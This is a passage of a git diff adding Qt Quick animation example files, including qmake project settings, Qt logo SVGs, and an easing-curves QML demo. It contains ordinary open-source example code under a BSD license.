+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/wigglytext/wigglytext
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/animation/behaviors/wigglytext/wigglytext.qmlproject b/examples/declarative/animation/behaviors/wigglytext/wigglytext.qmlproject
new file mode 100644
index 00000000..d38084fb
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/wigglytext.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/wigglytext"
+ }
+ JavaScriptFiles {
+ directory: "qml/wigglytext"
+ }
+ ImageFiles {
+ directory: "qml/wigglytext"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/behaviors/wigglytext/wigglytext.svg b/examples/declarative/animation/behaviors/wigglytext/wigglytext.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/behaviors/wigglytext/wigglytext.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/animation/easing/easing.png b/examples/declarative/animation/easing/easing.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/easing/easing.png
Binary files differ
diff --git a/examples/declarative/animation/easing/easing.pro b/examples/declarative/animation/easing/easing.pro
new file mode 100644
index 00000000..d9619d69
--- /dev/null
+++ b/examples/declarative/animation/easing/easing.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/easing
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEAA54148
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/easing
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/animation/easing/easing.qml b/examples/declarative/animation/easing/easing.qml
new file mode 100644
index 00000000..a6f3edd7
--- /dev/null
+++ b/examples/declarative/animation/easing/easing.qml
@@ -0,0 +1,159 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+ width: 600; height: 460; color: "#232323"
+
+ ListModel {
+ id: easingTypes
+ ListElement { name: "Easing.Linear"; type: Easing.Linear; ballColor: "DarkRed" }
+ ListElement { name: "Easing.InQuad"; type: Easing.InQuad; ballColor: "IndianRed" }
+ ListElement { name: "Easing.OutQuad"; type: Easing.OutQuad; ballColor: "Salmon" }
+ ListElement { name: "Easing.InOutQuad"; type: Easing.InOutQuad; ballColor: "Tomato" }
+ ListElement { name: "Easing.OutInQuad"; type: Easing.OutInQuad; ballColor: "DarkOrange" }
+ ListElement { name: "Easing.InCubic"; type: Easing.InCubic; ballColor: "Gold" }
+ ListElement { name: "Easing.OutCubic"; type: Easing.OutCubic; ballColor: "Yellow" }
+ ListElement { name: "Easing.InOutCubic"; type: Easing.InOutCubic; ballColor: "PeachPuff" }
+ ListElement { name: "Easing.OutInCubic"; type: Easing.OutInCubic; ballColor: "Thistle" }
+ ListElement { name: "Easing.InQuart"; type: Easing.InQuart; ballColor: "Orchid" }
+ ListElement { name: "Easing.OutQuart"; type: Easing.OutQuart; ballColor: "Purple" }
+ ListElement { name: "Easing.InOutQuart"; type: Easing.InOutQuart; ballColor: "SlateBlue" }
+ ListElement { name: "Easing.OutInQuart"; type: Easing.OutInQuart; ballColor: "Chartreuse" }
+ ListElement { name: "Easing.InQuint"; type: Easing.InQuint; ballColor: "LimeGreen" }
+ ListElement { name: "Easing.OutQuint"; type: Easing.OutQuint; ballColor: "SeaGreen" }
+ ListElement { name: "Easing.InOutQuint"; type: Easing.InOutQuint; ballColor: "DarkGreen" }
+ ListElement { name: "Easing.OutInQuint"; type: Easing.OutInQuint; ballColor: "Olive" }
+ ListElement { name: "Easing.InSine"; type: Easing.InSine; ballColor: "DarkSeaGreen" }
+ ListElement { name: "Easing.OutSine"; type: Easing.OutSine; ballColor: "Teal" }
+ ListElement { name: "Easing.InOutSine"; type: Easing.InOutSine; ballColor: "Turquoise" }
+ ListElement { name: "Easing.OutInSine"; type: Easing.OutInSine; ballColor: "SteelBlue" }
+ ListElement { name: "Easing.InExpo"; type: Easing.InExpo; ballColor: "SkyBlue" }
+ ListElement { name: "Easing.OutExpo"; type: Easing.OutExpo; ballColor: "RoyalBlue" }
+ ListElement { name: "Easing.InOutExpo"; type: Easing.InOutExpo; ballColor: "MediumBlue" }
+ ListElement { name: "Easing.OutInExpo"; type: Easing.OutInExpo; ballColor: "MidnightBlue" }
+ ListElement { name: "Easing.InCirc"; type: Easing.InCirc; ballColor: "CornSilk" }
+ ListElement { name: "Easing.OutCirc"; type: Easing.OutCirc; ballColor: "Bisque" }
+ ListElement { name: "Easing.InOutCirc"; type: Easing.InOutCirc; ballColor: "RosyBrown" }
+ ListElement { name: "Easing.OutInCirc"; type: Easing.OutInCirc; ballColor: "SandyBrown" }
+ ListElement { name: "Easing.InElastic"; type: Easing.InElastic; ballColor: "DarkGoldenRod" }
+ ListElement { name: "Easing.OutElastic"; type: Easing.OutElastic; ballColor: "Chocolate" }
+ ListElement { name: "Easing.InOutElastic"; type: Easing.InOutElastic; ballColor: "SaddleBrown" }
+ ListElement { name: "Easing.OutInElastic"; type: Easing.OutInElastic; ballColor: "Brown" }
+ ListElement { name: "Easing.InBack"; type: Easing.InBack; ballColor: "Maroon" }
+ ListElement { name: "Easing.OutBack"; type: Easing.OutBack; ballColor: "LavenderBlush" }
+ ListElement { name: "Easing.InOutBack"; type: Easing.InOutBack; ballColor: "MistyRose" }
+ ListElement { name: "Easing.OutInBack"; type: Easing.OutInBack; ballColor: "Gainsboro" }
+ ListElement { name: "Easing.OutBounce"; type: Easing.OutBounce; ballColor: "Silver" }
+ ListElement { name: "Easing.InBounce"; type: Easing.InBounce; ballColor: "DimGray" }
+ ListElement { name: "Easing.InOutBounce"; type: Easing.InOutBounce; ballColor: "SlateGray" }
+ ListElement { name: "Easing.OutInBounce"; type: Easing.OutInBounce; ballColor: "DarkSlateGray" }
+ }
+
+ Component {
+ id: delegate
+
+ Item {
+ height: 56; width: window.width
+
+ Text { text: name; anchors.centerIn: parent; color: "White" }
+
+ Rectangle {
+ id: slot1; color: "#121212"; x: 30; height: 46; width: 46
+ border.color: "#343434"; border.width: 1; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Rectangle {
+ id: slot2; color: "#121212"; x: window.width - 76; height: 46; width: 46
+ border.color: "#343434"; border.width: 1; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Rectangle {
+ id: rect; x: 30; color: "#454545"
+ border.color: "White"; border.width: 2
+ height: 46; width: 46; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+
+ MouseArea {
+ onClicked: if (rect.state == '') rect.state = "right"; else rect.state = ''
+ anchors.fill: parent
+ anchors.margins: -5 // Make MouseArea bigger than the rectangle, itself
+ }
+
+ states : State {
+ name: "right"
+ PropertyChanges { target: rect; x: window.width - 76; color: ballColor }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; easing.type: type; duration: 1000 }
+ ColorAnimation { properties: "color"; easing.type: type; duration: 1000 }
+ }
+ }
+ }
+ }
+
+ Flickable {
+ anchors.fill: parent
+ contentHeight: layout.height+50
+ Rectangle {
+ id: titlePane
+ color: "#444444"
+ height: 35
+ anchors { top: parent.top; left: parent.left; right: parent.right }
+ QuitButton {
+ id: quitButton
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ anchors.rightMargin: 10
+ }
+ }
+ Column {
+ id: layout
+ anchors { top: titlePane.bottom; topMargin: 10; left: parent.left; right: parent.right }
+ Repeater { model: easingTypes; delegate: delegate }
+ }
+ }
+}
diff --git a/examples/declarative/animation/easing/easing.qmlproject b/examples/declarative/animation/easing/easing.qmlproject
new file mode 100644
index 00000000..e74e7e1d
--- /dev/null
+++ b/examples/declarative/animation/easing/easing.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/easing"
+ }
+ JavaScriptFiles {
+ directory: "qml/easing"
+ }
+ ImageFiles {
+ directory: "qml/easing"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/easing/easing.svg b/examples/declarative/animation/easing/easing.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/easing/easing.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/animation/easing/main.cpp b/examples/declarative/animation/easing/main.cpp
new file mode 100644
index 00000000..5cd75e7a
--- /dev/null
+++ b/examples/declarative/animation/easing/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
